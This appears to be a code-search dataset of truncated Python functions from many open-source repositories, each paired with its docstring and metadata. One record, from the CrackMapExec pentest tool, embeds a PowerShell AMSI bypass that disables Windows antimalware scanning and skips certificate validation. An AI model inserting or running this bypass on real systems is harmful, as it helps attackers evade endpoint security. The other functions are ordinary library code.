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saltstack/salt
salt/tokens/localfs.py
https://github.com/saltstack/salt/blob/e8541fd6e744ab0df786c0f76102e41631f45d46/salt/tokens/localfs.py#L75-L88
def rm_token(opts, tok): ''' Remove token from the store. :param opts: Salt master config options :param tok: Token to remove :returns: Empty dict if successful. None if failed. ''' t_path = os.path.join(opts['token_dir'], tok) try: os.remove(t_path) return {} except...
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Remove token from the store. :param opts: Salt master config options :param tok: Token to remove :returns: Empty dict if successful. None if failed.
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python
train
27.214286
bitesofcode/projexui
projexui/widgets/xtreewidget/xtreewidgetdelegate.py
https://github.com/bitesofcode/projexui/blob/f18a73bec84df90b034ca69b9deea118dbedfc4d/projexui/widgets/xtreewidget/xtreewidgetdelegate.py#L167-L180
def drawBackground( self, painter, opt, rect, brush ): """ Make sure the background extends to 0 for the first item. :param painter | <QtGui.QPainter> rect | <QtCore.QRect> brush | <QtGui.QBrush> """ if not brush:...
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Make sure the background extends to 0 for the first item. :param painter | <QtGui.QPainter> rect | <QtCore.QRect> brush | <QtGui.QBrush>
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python
train
31.642857
joke2k/faker
faker/providers/__init__.py
https://github.com/joke2k/faker/blob/965824b61132e52d92d1a6ce470396dbbe01c96c/faker/providers/__init__.py#L121-L129
def random_digit_or_empty(self): """ Returns a random digit/number between 0 and 9 or an empty string. """ if self.generator.random.randint(0, 1): return self.generator.random.randint(0, 9) else: return ''
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Returns a random digit/number between 0 and 9 or an empty string.
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python
train
29.888889
Kortemme-Lab/klab
klab/rosetta/input_files.py
https://github.com/Kortemme-Lab/klab/blob/6d410ad08f1bd9f7cbbb28d7d946e94fbaaa2b6b/klab/rosetta/input_files.py#L129-L169
def get_distinct_segments(self, left_offset = 0, right_offset = 0, sequence_length = None): '''Returns a list of segments (pairs of start and end positions) based on the loop definitions. The returned segments merge overlapping loops e.g. if the loops file contains sections 32-40, 23-30, 28-33, and ...
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Returns a list of segments (pairs of start and end positions) based on the loop definitions. The returned segments merge overlapping loops e.g. if the loops file contains sections 32-40, 23-30, 28-33, and 43-46 then the returned segments will be [(23, 40), (43, 46)]. This may not be ...
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python
train
63.634146
linnarsson-lab/loompy
loompy/loompy.py
https://github.com/linnarsson-lab/loompy/blob/62c8373a92b058753baa3a95331fb541f560f599/loompy/loompy.py#L531-L545
def set_edges(self, name: str, a: np.ndarray, b: np.ndarray, w: np.ndarray, *, axis: int) -> None: """ **DEPRECATED** - Use `ds.row_graphs[name] = g` or `ds.col_graphs[name] = g` instead """ deprecated("'set_edges' is deprecated. Use 'ds.row_graphs[name] = g' or 'ds.col_graphs[name] = g' instead") try: g =...
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**DEPRECATED** - Use `ds.row_graphs[name] = g` or `ds.col_graphs[name] = g` instead
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python
train
42.6
splitkeycoffee/pyhottop
pyhottop/pyhottop.py
https://github.com/splitkeycoffee/pyhottop/blob/2986bbb2d848f7e41fa3ece5ebb1b33c8882219c/pyhottop/pyhottop.py#L195-L217
def _validate_checksum(self, buffer): """Validate the buffer response against the checksum. When reading the serial interface, data will come back in a raw format with an included checksum process. :returns: bool """ self._log.debug("Validating the buffer") if l...
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python
train
36.304348
nicferrier/pyproxyfs
src/pyproxyfs/__init__.py
https://github.com/nicferrier/pyproxyfs/blob/7db09bb07bdeece56b7b1c4bf78c9f0b0a03c14b/src/pyproxyfs/__init__.py#L51-L63
def _mergedict(a, b): """Recusively merge the 2 dicts. Destructive on argument 'a'. """ for p, d1 in b.items(): if p in a: if not isinstance(d1, dict): continue _mergedict(a[p], d1) else: a[p] = d1 return a
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Recusively merge the 2 dicts. Destructive on argument 'a'.
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python
test
21.769231
tensorflow/tensor2tensor
tensor2tensor/models/slicenet.py
https://github.com/tensorflow/tensor2tensor/blob/272500b6efe353aeb638d2745ed56e519462ca31/tensor2tensor/models/slicenet.py#L175-L212
def slicenet_middle(inputs_encoded, targets, target_space_emb, mask, hparams): """Middle part of slicenet, connecting encoder and decoder.""" def norm_fn(x, name): with tf.variable_scope(name, default_name="norm"): return common_layers.apply_norm(x, hparams.norm_type, hparams.hidden_size, ...
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Middle part of slicenet, connecting encoder and decoder.
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python
train
39
limodou/uliweb
uliweb/lib/werkzeug/wrappers.py
https://github.com/limodou/uliweb/blob/34472f25e4bc0b954a35346672f94e84ef18b076/uliweb/lib/werkzeug/wrappers.py#L288-L310
def _get_file_stream(self, total_content_length, content_type, filename=None, content_length=None): """Called to get a stream for the file upload. This must provide a file-like class with `read()`, `readline()` and `seek()` methods that is both writeable and readable. ...
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python
train
54.173913
onenameio/onename-python
onename/client.py
https://github.com/onenameio/onename-python/blob/74c583282f18ad9582c6b57b826126d045321494/onename/client.py#L142-L172
def update_user(self, username, profile, owner_privkey): """ Update profile_hash on blockchain """ url = self.base_url + "/users/" + username + "/update" owner_pubkey = get_pubkey_from_privkey(owner_privkey) payload = { 'profile': profile, '...
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Update profile_hash on blockchain
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python
train
26.419355
ianepperson/pyredminews
redmine/redmine_rest.py
https://github.com/ianepperson/pyredminews/blob/b2b0581483632738a3acca3b4e093c181847b813/redmine/redmine_rest.py#L548-L555
def update(self, id, **dict): '''Update a given item with the passed data.''' if not self._item_path: raise AttributeError('update is not available for %s' % self._item_name) target = (self._update_path or self._item_path) % id payload = json.dumps({self._item_type:dict}) ...
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Update a given item with the passed data.
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python
train
46.5
SeattleTestbed/seash
pyreadline/rlmain.py
https://github.com/SeattleTestbed/seash/blob/40f9d2285662ff8b61e0468b4196acee089b273b/pyreadline/rlmain.py#L432-L441
def _bell(self): u'''ring the bell if requested.''' if self.bell_style == u'none': pass elif self.bell_style == u'visible': raise NotImplementedError(u"Bellstyle visible is not implemented yet.") elif self.bell_style == u'audible': self.console.bell() ...
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u'''ring the bell if requested.
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python
train
39.8
JarryShaw/PyPCAPKit
src/protocols/application/httpv1.py
https://github.com/JarryShaw/PyPCAPKit/blob/c7f0da9aebc2cf210bf8f8b912f7d3cbb98ca10e/src/protocols/application/httpv1.py#L127-L184
def _read_http_header(self, header): """Read HTTP/1.* header. Structure of HTTP/1.* header [RFC 7230]: start-line :==: request-line / status-line request-line :==: method SP request-target SP HTTP-version CRLF status-line :==: HTTP-version SP sta...
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Read HTTP/1.* header. Structure of HTTP/1.* header [RFC 7230]: start-line :==: request-line / status-line request-line :==: method SP request-target SP HTTP-version CRLF status-line :==: HTTP-version SP status-code SP reason-phrase CRLF heade...
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python
train
38.224138
jason-weirather/py-seq-tools
seqtools/format/sam/bam/files.py
https://github.com/jason-weirather/py-seq-tools/blob/f642c2c73ffef2acc83656a78059a476fc734ca1/seqtools/format/sam/bam/files.py#L46-L52
def _get_block(self): """Just read a single block from your current location in _fh""" b = self._fh.read(4) # get block size bytes #print self._fh.tell() if not b: raise StopIteration block_size = struct.unpack('<i',b)[0] return self._fh.read(block_size)
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Just read a single block from your current location in _fh
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python
train
38.857143
hamidfzm/Flask-HTMLmin
flask_htmlmin/__init__.py
https://github.com/hamidfzm/Flask-HTMLmin/blob/03de23347ac021da4011af36b57903a235268429/flask_htmlmin/__init__.py#L29-L50
def response_minify(self, response): """ minify response html to decrease traffic """ if response.content_type == u'text/html; charset=utf-8': endpoint = request.endpoint or '' view_func = current_app.view_functions.get(endpoint, None) name = ( ...
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minify response html to decrease traffic
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python
train
32.227273
dereneaton/ipyrad
ipyrad/analysis/baba.py
https://github.com/dereneaton/ipyrad/blob/5eeb8a178160f45faf71bf47cec4abe998a575d1/ipyrad/analysis/baba.py#L895-L988
def _simulate(self, nreps, admix=None, Ns=500000, gen=20): """ Enter a baba.Tree object in which the 'tree' attribute (newick derived tree) has edge lengths in units of generations. You can use the 'gen' parameter to multiply branch lengths by a constant. Parameters: ----------- nreps: ...
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python
valid
36.159574
kislyuk/argcomplete
argcomplete/__init__.py
https://github.com/kislyuk/argcomplete/blob/f9eb0a2354d9e6153f687c463df98c16251d97ed/argcomplete/__init__.py#L515-L561
def quote_completions(self, completions, cword_prequote, last_wordbreak_pos): """ If the word under the cursor started with a quote (as indicated by a nonempty ``cword_prequote``), escapes occurrences of that quote character in the completions, and adds the quote to the beginning of each complet...
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python
train
55.595745
timothyb0912/pylogit
pylogit/base_multinomial_cm_v2.py
https://github.com/timothyb0912/pylogit/blob/f83b0fd6debaa7358d87c3828428f6d4ead71357/pylogit/base_multinomial_cm_v2.py#L296-L327
def ensure_all_alt_ids_have_a_nest(nest_spec, list_elements, all_ids): """ Ensures that the alternative id's in `nest_spec` are all associated with a nest. Raises a helpful ValueError if they are not. Parameters ---------- nest_spec : OrderedDict, or None, optional. Keys are strings tha...
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Ensures that the alternative id's in `nest_spec` are all associated with a nest. Raises a helpful ValueError if they are not. Parameters ---------- nest_spec : OrderedDict, or None, optional. Keys are strings that define the name of the nests. Values are lists of alternative ids, denoti...
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python
train
37.03125
MartinThoma/hwrt
hwrt/filter_dataset.py
https://github.com/MartinThoma/hwrt/blob/725c21a3d0f5a30b8492cbc184b3688ceb364e1c/hwrt/filter_dataset.py#L200-L217
def load_raw(raw_pickle_file): """ Load a pickle file of raw recordings. Parameters ---------- raw_pickle_file : str Path to a pickle file which contains raw recordings. Returns ------- dict The loaded pickle file. """ with open(raw_pickle_file, 'rb') as f: ...
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Load a pickle file of raw recordings. Parameters ---------- raw_pickle_file : str Path to a pickle file which contains raw recordings. Returns ------- dict The loaded pickle file.
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python
train
23.222222
project-rig/rig
rig/routing_table/utils.py
https://github.com/project-rig/rig/blob/3a3e053d3214899b6d68758685835de0afd5542b/rig/routing_table/utils.py#L8-L83
def routing_tree_to_tables(routes, net_keys): """Convert a set of :py:class:`~rig.place_and_route.routing_tree.RoutingTree` s into a per-chip set of routing tables. .. warning:: A :py:exc:`rig.routing_table.MultisourceRouteError` will be raised if entries with identical keys and masks b...
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Convert a set of :py:class:`~rig.place_and_route.routing_tree.RoutingTree` s into a per-chip set of routing tables. .. warning:: A :py:exc:`rig.routing_table.MultisourceRouteError` will be raised if entries with identical keys and masks but with differing routes are generated. This ...
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python
train
39.184211
mozilla/treeherder
treeherder/etl/jobs.py
https://github.com/mozilla/treeherder/blob/cc47bdec872e5c668d0f01df89517390a164cda3/treeherder/etl/jobs.py#L331-L372
def _schedule_log_parsing(job, job_logs, result): """Kick off the initial task that parses the log data. log_data is a list of job log objects and the result for that job """ # importing here to avoid an import loop from treeherder.log_parser.tasks import parse_logs task_types = { "er...
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Kick off the initial task that parses the log data. log_data is a list of job log objects and the result for that job
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python
train
31.690476
Robpol86/etaprogress
etaprogress/components/units.py
https://github.com/Robpol86/etaprogress/blob/224e8a248c2bf820bad218763281914ad3983fff/etaprogress/components/units.py#L82-L93
def auto(self): """Returns the highest whole-number unit.""" if self._value >= 1099511627776: return self.TiB, 'TiB' if self._value >= 1073741824: return self.GiB, 'GiB' if self._value >= 1048576: return self.MiB, 'MiB' if self._value >= 1024: ...
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Returns the highest whole-number unit.
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python
train
32.333333
Kane610/deconz
pydeconz/light.py
https://github.com/Kane610/deconz/blob/8a9498dbbc8c168d4a081173ad6c3b1e17fffdf6/pydeconz/light.py#L25-L32
def async_update(self, event): """New event for light. Check that state is part of event. Signal that light has updated state. """ self.update_attr(event.get('state', {})) super().async_update(event)
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New event for light. Check that state is part of event. Signal that light has updated state.
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python
train
30.125
ArchiveTeam/wpull
wpull/network/dns.py
https://github.com/ArchiveTeam/wpull/blob/ddf051aa3322479325ba20aa778cb2cb97606bf5/wpull/network/dns.py#L95-L98
def rotate(self): '''Move the first address to the last position.''' item = self._address_infos.pop(0) self._address_infos.append(item)
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Move the first address to the last position.
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python
train
39
RudolfCardinal/pythonlib
cardinal_pythonlib/wsgi/reverse_proxied_mw.py
https://github.com/RudolfCardinal/pythonlib/blob/0b84cb35f38bd7d8723958dae51b480a829b7227/cardinal_pythonlib/wsgi/reverse_proxied_mw.py#L50-L70
def ip_addresses_from_xff(value: str) -> List[str]: """ Returns a list of IP addresses (as strings), given the value of an HTTP ``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDED_FOR``) header. Args: value: the value of an HTTP ``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDE...
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Returns a list of IP addresses (as strings), given the value of an HTTP ``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDED_FOR``) header. Args: value: the value of an HTTP ``X-Forwarded-For`` (or ``WSGI HTTP_X_FORWARDED_FOR``) header Returns: a list of IP address as st...
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python
train
31.571429
cloud-custodian/cloud-custodian
c7n/log.py
https://github.com/cloud-custodian/cloud-custodian/blob/52ef732eb3d7bc939d1579faf519314814695c08/c7n/log.py#L123-L129
def flush(self): """Ensure all logging output has been flushed.""" if self.shutdown: return self.flush_buffers(force=True) self.queue.put(FLUSH_MARKER) self.queue.join()
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Ensure all logging output has been flushed.
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python
train
30.714286
mozilla/elasticutils
elasticutils/contrib/django/__init__.py
https://github.com/mozilla/elasticutils/blob/b880cc5d51fb1079b0581255ec664c1ec934656e/elasticutils/contrib/django/__init__.py#L185-L190
def get_doctypes(self, default_doctypes=None): """Returns the doctypes (or mapping type names) to use.""" doctypes = self.type.get_mapping_type_name() if isinstance(doctypes, six.string_types): doctypes = [doctypes] return super(S, self).get_doctypes(default_doctypes=doctypes...
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Returns the doctypes (or mapping type names) to use.
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python
train
52.666667
ic-labs/django-icekit
icekit/publishing/managers.py
https://github.com/ic-labs/django-icekit/blob/c507ea5b1864303732c53ad7c5800571fca5fa94/icekit/publishing/managers.py#L201-L233
def _queryset_iterator(qs): """ Override default iterator to wrap returned items in a publishing sanity-checker "booby trap" to lazily raise an exception if DRAFT items are mistakenly returned and mis-used in a public context where only PUBLISHED items should be used. This booby trap is added w...
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python
train
41.606061
dade-ai/snipy
snipy/plt/ploting.py
https://github.com/dade-ai/snipy/blob/408520867179f99b3158b57520e2619f3fecd69b/snipy/plt/ploting.py#L433-L444
def imbound(clspatch, *args, **kwargs): """ :param clspatch: :param args: :param kwargs: :return: """ # todo : add example c = kwargs.pop('color', kwargs.get('edgecolor', None)) kwargs.update(facecolor='none', edgecolor=c) return impatch(clspatch, *args, **kwargs)
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:param clspatch: :param args: :param kwargs: :return:
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python
valid
24.5
marl/jams
scripts/jams_to_lab.py
https://github.com/marl/jams/blob/b16778399b9528efbd71434842a079f7691a7a66/scripts/jams_to_lab.py#L156-L182
def parse_arguments(args): '''Parse arguments from the command line''' parser = argparse.ArgumentParser(description='Convert JAMS to .lab files') parser.add_argument('-c', '--comma-separated', dest='csv', action='store_true', ...
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Parse arguments from the command line
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python
valid
37.148148
phoebe-project/phoebe2
phoebe/backend/universe.py
https://github.com/phoebe-project/phoebe2/blob/e64b8be683977064e2d55dd1b3ac400f64c3e379/phoebe/backend/universe.py#L1370-L1375
def polar_direction_xyz(self): """ get current polar direction in Roche (xyz) coordinates """ return mesh.spin_in_roche(self.polar_direction_uvw, self.true_anom, self.elongan, self.eincl).astype(float)
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get current polar direction in Roche (xyz) coordinates
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python
train
43.666667
latchset/jwcrypto
jwcrypto/jwa.py
https://github.com/latchset/jwcrypto/blob/961df898dc08f63fe3d900f2002618740bc66b4a/jwcrypto/jwa.py#L979-L994
def decrypt(self, k, a, iv, e, t): """ Decrypt accoriding to the selected encryption and hashing functions. :param k: Encryption key (optional) :param a: Additional Authenticated Data :param iv: Initialization Vector :param e: Ciphertext :param t: Authentication T...
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Decrypt accoriding to the selected encryption and hashing functions. :param k: Encryption key (optional) :param a: Additional Authenticated Data :param iv: Initialization Vector :param e: Ciphertext :param t: Authentication Tag Returns plaintext or raises an erro...
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python
train
38.6875
fabioz/PyDev.Debugger
pydevd_attach_to_process/winappdbg/interactive.py
https://github.com/fabioz/PyDev.Debugger/blob/ed9c4307662a5593b8a7f1f3389ecd0e79b8c503/pydevd_attach_to_process/winappdbg/interactive.py#L2012-L2050
def do_register(self, arg): """ [~thread] r - print(the value of all registers [~thread] r <register> - print(the value of a register [~thread] r <register>=<value> - change the value of a register [~thread] register - print(the value of all registers [~thread] register <...
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python
train
40.666667
Esri/ArcREST
samples/query_agol_layer_using_ArcMap_Creds.py
https://github.com/Esri/ArcREST/blob/ab240fde2b0200f61d4a5f6df033516e53f2f416/samples/query_agol_layer_using_ArcMap_Creds.py#L43-L77
def main(*argv): """ main driver of program """ try: url = str(argv[0]) arcgisSH = ArcGISTokenSecurityHandler() if arcgisSH.valid == False: arcpy.AddError(arcgisSH.message) return fl = FeatureLayer( url=url, securityHandler=arcgisS...
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main driver of program
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python
train
40.514286
apache/spark
python/pyspark/streaming/context.py
https://github.com/apache/spark/blob/618d6bff71073c8c93501ab7392c3cc579730f0b/python/pyspark/streaming/context.py#L331-L348
def union(self, *dstreams): """ Create a unified DStream from multiple DStreams of the same type and same slide duration. """ if not dstreams: raise ValueError("should have at least one DStream to union") if len(dstreams) == 1: return dstreams[0] ...
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Create a unified DStream from multiple DStreams of the same type and same slide duration.
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python
train
50.555556
tensorflow/cleverhans
cleverhans/experimental/certification/utils.py
https://github.com/tensorflow/cleverhans/blob/97488e215760547b81afc53f5e5de8ba7da5bd98/cleverhans/experimental/certification/utils.py#L22-L93
def initialize_dual(neural_net_params_object, init_dual_file=None, random_init_variance=0.01, init_nu=200.0): """Function to initialize the dual variables of the class. Args: neural_net_params_object: Object with the neural net weights, biases and types init_dual_file: Path to fil...
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Function to initialize the dual variables of the class. Args: neural_net_params_object: Object with the neural net weights, biases and types init_dual_file: Path to file containing dual variables, if the path is empty, perform random initialization Expects numpy dictionary with lambda...
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python
train
47.347222
nerdvegas/rez
src/rez/vendor/pygraph/classes/graph.py
https://github.com/nerdvegas/rez/blob/1d3b846d53b5b5404edfe8ddb9083f9ceec8c5e7/src/rez/vendor/pygraph/classes/graph.py#L170-L182
def del_edge(self, edge): """ Remove an edge from the graph. @type edge: tuple @param edge: Edge. """ u, v = edge self.node_neighbors[u].remove(v) self.del_edge_labeling((u, v)) if (u != v): self.node_neighbors[v].remove(u) ...
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Remove an edge from the graph. @type edge: tuple @param edge: Edge.
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python
train
26.307692
eng-tools/sfsimodels
sfsimodels/models/soils.py
https://github.com/eng-tools/sfsimodels/blob/65a690ca440d61307f5a9b8478e4704f203a5925/sfsimodels/models/soils.py#L1272-L1312
def discretize_soil_profile(sp, incs=None, target=1.0): """ Splits the soil profile into slices and stores as dictionary :param sp: SoilProfile :param incs: array_like, increments of depth to use for each layer :param target: target depth increment size :return: dict """ if incs is Non...
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Splits the soil profile into slices and stores as dictionary :param sp: SoilProfile :param incs: array_like, increments of depth to use for each layer :param target: target depth increment size :return: dict
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python
train
34.268293
BerkeleyAutomation/perception
perception/image.py
https://github.com/BerkeleyAutomation/perception/blob/03d9b37dd6b66896cdfe173905c9413c8c3c5df6/perception/image.py#L973-L993
def _check_valid_data(self, data): """Checks that the given data is a uint8 array with one or three channels. Parameters ---------- data : :obj:`numpy.ndarray` The data to check. Raises ------ ValueError If the data is invalid. ...
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Checks that the given data is a uint8 array with one or three channels. Parameters ---------- data : :obj:`numpy.ndarray` The data to check. Raises ------ ValueError If the data is invalid.
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python
train
29.761905
koalalorenzo/python-digitalocean
digitalocean/Image.py
https://github.com/koalalorenzo/python-digitalocean/blob/d0221b57856fb1e131cafecf99d826f7b07a947c/digitalocean/Image.py#L64-L78
def get_object(cls, api_token, image_id_or_slug): """ Class method that will return an Image object by ID or slug. This method is used to validate the type of the image. If it is a number, it will be considered as an Image ID, instead if it is a string, it will c...
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Class method that will return an Image object by ID or slug. This method is used to validate the type of the image. If it is a number, it will be considered as an Image ID, instead if it is a string, it will considered as slug.
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python
valid
40.333333
Kronuz/pyScss
scss/types.py
https://github.com/Kronuz/pyScss/blob/fb32b317f6e2b4b4aad2b86a74844658ac4aa11e/scss/types.py#L1003-L1046
def render(self, compress=False): """Return a rendered representation of the color. If `compress` is true, the shortest possible representation is used; otherwise, named colors are rendered as names and all others are rendered as hex (or with the rgba function). """ if ...
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Return a rendered representation of the color. If `compress` is true, the shortest possible representation is used; otherwise, named colors are rendered as names and all others are rendered as hex (or with the rgba function).
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python
train
34.522727
cloud9ers/gurumate
environment/lib/python2.7/site-packages/IPython/parallel/controller/sqlitedb.py
https://github.com/cloud9ers/gurumate/blob/075dc74d1ee62a8c6b7a8bf2b271364f01629d1e/environment/lib/python2.7/site-packages/IPython/parallel/controller/sqlitedb.py#L333-L339
def get_record(self, msg_id): """Get a specific Task Record, by msg_id.""" cursor = self._db.execute("""SELECT * FROM %s WHERE msg_id==?"""%self.table, (msg_id,)) line = cursor.fetchone() if line is None: raise KeyError("No such msg: %r"%msg_id) return self._list_to_d...
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Get a specific Task Record, by msg_id.
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python
test
46.142857
Nekroze/partpy
examples/contacts.py
https://github.com/Nekroze/partpy/blob/dbb7d2fb285464fc43d85bc31f5af46192d301f6/examples/contacts.py#L50-L71
def parse_contact(self): """Parse a top level contact expression, these consist of a name expression a special char and an email expression. The characters found in a name and email expression are returned. """ self.parse_whitespace() name = self.parse_name() # parse a ...
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python
train
41
mpg-age-bioinformatics/AGEpy
AGEpy/kegg.py
https://github.com/mpg-age-bioinformatics/AGEpy/blob/887808a7a2c1504f39ce8d8cb36c15c1721cd29f/AGEpy/kegg.py#L83-L105
def ensembl_to_kegg(organism,kegg_db): """ Looks up KEGG mappings of KEGG ids to ensembl ids :param organism: an organisms as listed in organismsKEGG() :param kegg_db: a matching KEGG db as reported in databasesKEGG :returns: a Pandas dataframe of with 'KEGGid' and 'ENSid'. """ print("KEG...
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Looks up KEGG mappings of KEGG ids to ensembl ids :param organism: an organisms as listed in organismsKEGG() :param kegg_db: a matching KEGG db as reported in databasesKEGG :returns: a Pandas dataframe of with 'KEGGid' and 'ENSid'.
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python
train
34.565217
tommyod/streprogen
streprogen/modeling.py
https://github.com/tommyod/streprogen/blob/21b903618e8b2d398bceb394d18d7c74ca984def/streprogen/modeling.py#L65-L91
def generate_one(self): """Generate a single element. Returns ------- element An element from the domain. Examples ------- >>> generator = RepellentGenerator(['a', 'b']) >>> gen_item = generator.generate_one() >>> gen_ite...
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Generate a single element. Returns ------- element An element from the domain. Examples ------- >>> generator = RepellentGenerator(['a', 'b']) >>> gen_item = generator.generate_one() >>> gen_item in ['a', 'b'] True
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python
train
27.037037
learningequality/ricecooker
ricecooker/utils/metadata_provider.py
https://github.com/learningequality/ricecooker/blob/2f0385282500cb77ef2894646c6f9ce11bd7a853/ricecooker/utils/metadata_provider.py#L255-L268
def get_channel_info(self): """ Returns the first data row from Channel.csv """ csv_filename = get_metadata_file_path(channeldir=self.channeldir, filename=self.channelinfo) csv_lines = _read_csv_lines(csv_filename) dict_reader = csv.DictReader(csv_lines) channel_c...
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Returns the first data row from Channel.csv
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python
train
46.428571
mozilla/socorrolib
socorrolib/lib/task_manager.py
https://github.com/mozilla/socorrolib/blob/4ec08c6a4ee2c8a69150268afdd324f5f22b90c8/socorrolib/lib/task_manager.py#L27-L53
def respond_to_SIGTERM(signal_number, frame, target=None): """ these classes are instrumented to respond to a KeyboardInterrupt by cleanly shutting down. This function, when given as a handler to for a SIGTERM event, will make the program respond to a SIGTERM as neatly as it responds to ^C. This f...
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python
train
48.259259
ondryaso/pi-rc522
pirc522/util.py
https://github.com/ondryaso/pi-rc522/blob/9d9103e9701c105ba2348155e91f21ef338c4bd3/pirc522/util.py#L53-L67
def deauth(self): """ Resets authentication info. Calls stop_crypto() if RFID is in auth state """ self.method = None self.key = None self.last_auth = None if self.debug: print("Changing auth key and method to None") if self.rfid.authed: ...
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python
train
27.066667
spyder-ide/spyder
spyder/utils/codeanalysis.py
https://github.com/spyder-ide/spyder/blob/f76836ce1b924bcc4efd3f74f2960d26a4e528e0/spyder/utils/codeanalysis.py#L96-L113
def get_checker_executable(name): """Return checker executable in the form of a list of arguments for subprocess.Popen""" if programs.is_program_installed(name): # Checker is properly installed return [name] else: path1 = programs.python_script_exists(package=None, ...
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python
train
50.888889
idlesign/srptools
srptools/context.py
https://github.com/idlesign/srptools/blob/eb08a27137d3216e41d63bbeafbac79f43881a6a/srptools/context.py#L129-L141
def get_client_premaster_secret(self, password_hash, server_public, client_private, common_secret): """S = (B - (k * g^x)) ^ (a + (u * x)) % N :param int server_public: :param int password_hash: :param int client_private: :param int common_secret: :rtype: int """...
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S = (B - (k * g^x)) ^ (a + (u * x)) % N :param int server_public: :param int password_hash: :param int client_private: :param int common_secret: :rtype: int
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python
train
42
rcsb/mmtf-python
mmtf/converters/converters.py
https://github.com/rcsb/mmtf-python/blob/899bb877ca1b32a9396803d38c5bf38a2520754e/mmtf/converters/converters.py#L34-L44
def decode_chain_list(in_bytes): """Convert a list of bytes to a list of strings. Each string is of length mmtf.CHAIN_LEN :param in_bytes: the input bytes :return the decoded list of strings""" tot_strings = len(in_bytes) // mmtf.utils.constants.CHAIN_LEN out_strings = [] for i in range(tot_str...
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python
train
50.545455
mjuenema/python-TSIP
tsip/hlapi.py
https://github.com/mjuenema/python-TSIP/blob/e02b68d05772127ea493cd639b3d5f8fb73df402/tsip/hlapi.py#L136-L160
def unpack(cls, rawpacket): """Instantiate `Packet` from binary string. :param rawpacket: TSIP pkt in binary format. :type rawpacket: String. `rawpacket` must already have framing (DLE...DLE/ETX) removed and byte stuffing reversed. """ structs_ = g...
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python
train
28.52
klahnakoski/pyLibrary
jx_base/language.py
https://github.com/klahnakoski/pyLibrary/blob/fa2dcbc48fda8d26999baef400e9a98149e0b982/jx_base/language.py#L125-L134
def is_op(call, op): """ :param call: The specific operator instance (a method call) :param op: The the operator we are testing against :return: isinstance(call, op), but faster """ try: return call.id == op.id except Exception as e: return False
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python
train
28.1
LISE-B26/pylabcontrol
build/lib/pylabcontrol/src/gui/qt_b26_load_dialog.py
https://github.com/LISE-B26/pylabcontrol/blob/67482e5157fcd1c40705e5c2cacfb93564703ed0/build/lib/pylabcontrol/src/gui/qt_b26_load_dialog.py#L247-L295
def add_script_sequence(self): """ creates a script sequence based on the script iterator type selected and the selected scripts and sends it to the tree self.tree_loaded """ def empty_tree(tree_model): # COMMENT_ME def add_children_to_list(item, somelis...
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creates a script sequence based on the script iterator type selected and the selected scripts and sends it to the tree self.tree_loaded
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python
train
44.755102
cni/MRS
MRS/api.py
https://github.com/cni/MRS/blob/16098b3cf4830780efd787fee9efa46513850283/MRS/api.py#L708-L727
def est_gaba_conc(self): """ Estimate gaba concentration based on equation adapted from Sanacora 1999, p1045 Ref: Sanacora, G., Mason, G. F., Rothman, D. L., Behar, K. L., Hyder, F., Petroff, O. A., ... & Krystal, J. H. (1999). Reduced cortical $\gamma$-aminobutyric acid...
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python
train
37.25
relekang/python-semantic-release
semantic_release/ci_checks.py
https://github.com/relekang/python-semantic-release/blob/76123f410180599a19e7c48da413880185bbea20/semantic_release/ci_checks.py#L9-L27
def checker(func: Callable) -> Callable: """ A decorator that will convert AssertionErrors into CiVerificationError. :param func: A function that will raise AssertionError :return: The given function wrapped to raise a CiVerificationError on AssertionError """ def func_wrapper(*args, **kwa...
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python
train
29.578947
sanger-pathogens/Fastaq
pyfastaq/tasks.py
https://github.com/sanger-pathogens/Fastaq/blob/2c775c846d2491678a9637daa320592e02c26c72/pyfastaq/tasks.py#L568-L577
def sort_by_name(infile, outfile): '''Sorts input sequence file by sort -d -k1,1, writes sorted output file.''' seqs = {} file_to_dict(infile, seqs) #seqs = list(seqs.values()) #seqs.sort() fout = utils.open_file_write(outfile) for name in sorted(seqs): print(seqs[name], file=fout) ...
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Sorts input sequence file by sort -d -k1,1, writes sorted output file.
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python
valid
33.1
heuer/cablemap
cablemap.core/cablemap/core/handler.py
https://github.com/heuer/cablemap/blob/42066c8fc2972d237a2c35578e14525aaf705f38/cablemap.core/cablemap/core/handler.py#L234-L295
def handle_cable(cable, handler, standalone=True): """\ Emits event from the provided `cable` to the handler. `cable` A cable object. `handler` A ICableHandler instance. `standalone` Indicates if a `start` and `end` event should be issued (default: ``True``). ...
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\ Emits event from the provided `cable` to the handler. `cable` A cable object. `handler` A ICableHandler instance. `standalone` Indicates if a `start` and `end` event should be issued (default: ``True``). If `standalone` is set to ``False``, no ``handler.start()...
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python
train
35.564516
apache/incubator-mxnet
example/svrg_module/api_usage_example/example_inference.py
https://github.com/apache/incubator-mxnet/blob/1af29e9c060a4c7d60eeaacba32afdb9a7775ba7/example/svrg_module/api_usage_example/example_inference.py#L64-L91
def create_network(batch_size, update_freq): """Create a linear regression network for performing SVRG optimization. :return: an instance of mx.io.NDArrayIter :return: an instance of mx.mod.svrgmodule for performing SVRG optimization """ head = '%(asctime)-15s %(message)s' logging.basicConfig(le...
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python
train
41.214286
thieman/dagobah
dagobah/core/core.py
https://github.com/thieman/dagobah/blob/e624180c2291034960302c9e0b818b65b5a7ee11/dagobah/core/core.py#L550-L579
def _complete_task(self, task_name, **kwargs): """ Marks this task as completed. Kwargs are stored in the run log. """ logger.debug('Job {0} marking task {1} as completed'.format(self.name, task_name)) self.run_log['tasks'][task_name] = kwargs for node in self.downstream(task_name, sel...
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Marks this task as completed. Kwargs are stored in the run log.
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python
train
35.8
byt3bl33d3r/CrackMapExec
cme/helpers/powershell.py
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L70-L154
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
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if is_powershell_installed(): temp = tempfile.NamedTemporaryFile(prefix='cme_', suffix='.ps1', dir='/tmp') temp.write(command) temp.read() encoding_types = [1,2,3,4,5,6] while True: ...
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python
train
37.894118
jeffknupp/sandman
sandman/sandmanctl.py
